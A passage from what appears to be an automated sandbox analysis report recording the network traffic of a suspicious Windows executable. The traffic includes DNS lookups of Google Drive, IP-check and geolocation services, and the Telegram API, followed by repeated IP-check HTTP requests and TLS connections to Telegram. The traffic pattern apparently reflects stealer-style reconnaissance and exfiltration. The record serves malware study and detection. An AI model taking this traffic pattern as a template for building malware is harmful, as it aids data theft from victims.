Jan 10, 2025 20:10:58.416882038 CET	50000	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:58.417366982 CET	50000	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:58.421036005 CET	49986	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:58.422161102 CET	50005	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:58.426095009 CET	80	49986	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:58.426152945 CET	49986	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:58.427059889 CET	80	50005	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:58.427124023 CET	50005	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:58.427280903 CET	50005	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:58.432113886 CET	80	50005	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:59.518470049 CET	80	50005	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:59.520168066 CET	50006	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:59.520211935 CET	443	50006	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:59.520287037 CET	50006	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:59.520675898 CET	50006	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:59.520689011 CET	443	50006	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:59.560065985 CET	50005	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:11:00.151015043 CET	443	50006	149.154.167.220	192.168.2.8
Jan 10, 2025 20:11:00.154905081 CET	50006	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:11:00.154923916 CET	443	50006	149.154.167.220	192.168.2.8
Jan 10, 2025 20:11:00.154983044 CET	50006	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:11:00.154990911 CET	443	50006	149.154.167.220	192.168.2.8
Jan 10, 2025 20:11:00.510075092 CET	443	50006	149.154.167.220	192.168.2.8
Jan 10, 2025 20:11:00.510164022 CET	443	50006	149.154.167.220	192.168.2.8
Jan 10, 2025 20:11:00.510298014 CET	50006	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:11:00.523283958 CET	50006	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:11:00.655781984 CET	50005	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:11:00.656738997 CET	50007	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:11:00.660893917 CET	80	50005	132.226.8.169	192.168.2.8
Jan 10, 2025 20:11:00.660978079 CET	50005	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:11:00.661516905 CET	80	50007	132.226.8.169	192.168.2.8
Jan 10, 2025 20:11:00.661609888 CET	50007	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:11:00.661761045 CET	50007	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:11:00.666636944 CET	80	50007	132.226.8.169	192.168.2.8
Jan 10, 2025 20:11:03.670681000 CET	80	50007	132.226.8.169	192.168.2.8
Jan 10, 2025 20:11:03.716152906 CET	50007	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:11:06.070677996 CET	50008	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:11:06.075577021 CET	80	50008	132.226.8.169	192.168.2.8
Jan 10, 2025 20:11:06.075689077 CET	50008	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:11:06.075757980 CET	50008	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:11:06.080523968 CET	80	50008	132.226.8.169	192.168.2.8
Jan 10, 2025 20:11:06.892231941 CET	80	50008	132.226.8.169	192.168.2.8
Jan 10, 2025 20:11:06.934931993 CET	50008	80	192.168.2.8	132.226.8.169

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:10:02.042330980 CET	49344	53	192.168.2.8	1.1.1.1
Jan 10, 2025 20:10:02.050014973 CET	53	49344	1.1.1.1	192.168.2.8
Jan 10, 2025 20:10:03.468735933 CET	58599	53	192.168.2.8	1.1.1.1
Jan 10, 2025 20:10:03.476792097 CET	53	58599	1.1.1.1	192.168.2.8
Jan 10, 2025 20:10:08.423079967 CET	60512	53	192.168.2.8	1.1.1.1
Jan 10, 2025 20:10:08.429940939 CET	53	60512	1.1.1.1	192.168.2.8
Jan 10, 2025 20:10:17.159981966 CET	58298	53	192.168.2.8	1.1.1.1
Jan 10, 2025 20:10:17.168103933 CET	53	58298	1.1.1.1	192.168.2.8
Jan 10, 2025 20:10:24.736377001 CET	52350	53	192.168.2.8	1.1.1.1
Jan 10, 2025 20:10:24.743501902 CET	53	52350	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:10:02.042330980 CET	192.168.2.8	1.1.1.1	0x1526	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:10:03.468735933 CET	192.168.2.8	1.1.1.1	0x188d	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:10:08.423079967 CET	192.168.2.8	1.1.1.1	0xce26	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:10:17.159981966 CET	192.168.2.8	1.1.1.1	0xa9e1	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:10:24.736377001 CET	192.168.2.8	1.1.1.1	0x1b09	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 20:10:02.050014973 CET	1.1.1.1	192.168.2.8	0x1526	No error (0)	drive.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:10:03.476792097 CET	1.1.1.1	192.168.2.8	0x188d	No error (0)	drive.usercontent.google.com		142.250.181.225	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:10:08.429940939 CET	1.1.1.1	192.168.2.8	0xce26	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:10:08.429940939 CET	1.1.1.1	192.168.2.8	0xce26	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:10:08.429940939 CET	1.1.1.1	192.168.2.8	0xce26	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:10:08.429940939 CET	1.1.1.1	192.168.2.8	0xce26	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:10:08.429940939 CET	1.1.1.1	192.168.2.8	0xce26	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:10:08.429940939 CET	1.1.1.1	192.168.2.8	0xce26	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:10:17.168103933 CET	1.1.1.1	192.168.2.8	0xa9e1	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:10:17.168103933 CET	1.1.1.1	192.168.2.8	0xa9e1	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:10:17.168103933 CET	1.1.1.1	192.168.2.8	0xa9e1	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:10:17.168103933 CET	1.1.1.1	192.168.2.8	0xa9e1	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:10:17.168103933 CET	1.1.1.1	192.168.2.8	0xa9e1	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:10:17.168103933 CET	1.1.1.1	192.168.2.8	0xa9e1	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:10:17.168103933 CET	1.1.1.1	192.168.2.8	0xa9e1	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:10:24.743501902 CET	1.1.1.1	192.168.2.8	0x1b09	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49712	132.226.8.169	80	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:10:08.441741943 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:10:15.467886925 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:10:15 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 20:10:15.473562956 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 20:10:16.811794996 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:10:16 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 20:10:23.277862072 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 20:10:24.731668949 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:10:24 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49784	132.226.8.169	80	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:10:26.127875090 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 20:10:26.973731041 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:10:26 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49795	132.226.8.169	80	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:10:27.883239031 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:10:28.721793890 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:10:28 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49807	132.226.8.169	80	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:10:29.595670938 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:10:30.451816082 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:10:30 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49822	132.226.8.169	80	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:10:31.378396034 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:10:32.206562996 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:10:32 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49836	132.226.8.169	80	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:10:33.291934013 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:10:34.176112890 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:10:34 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49853	132.226.8.169	80	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:10:35.297606945 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:10:37.120876074 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:10:36 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49868	132.226.8.169	80	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:10:38.097207069 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:10:38.951761961 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:10:38 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49880	132.226.8.169	80	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:10:39.930825949 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:10:41.786953926 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:10:41 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49900	132.226.8.169	80	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:10:42.697278976 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:10:43.579401016 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:10:43 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49912	132.226.8.169	80	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:10:44.452672958 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:10:48.349817038 CET	697	IN	HTTP/1.1 504 Gateway Time-out Date: Fri, 10 Jan 2025 19:10:48 GMT Content-Type: text/html Content-Length: 557 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c [TRUNCATED] Data Ascii: <html><head><title>504 Gateway Time-out</title></head><body><center><h1>504 Gateway Time-out</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49938	132.226.8.169	80	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:10:48.367818117 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:10:51.216351986 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:10:51 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49963	132.226.8.169	80	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:10:52.345976114 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:10:54.302759886 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:10:54 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49986	132.226.8.169	80	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:10:55.414172888 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
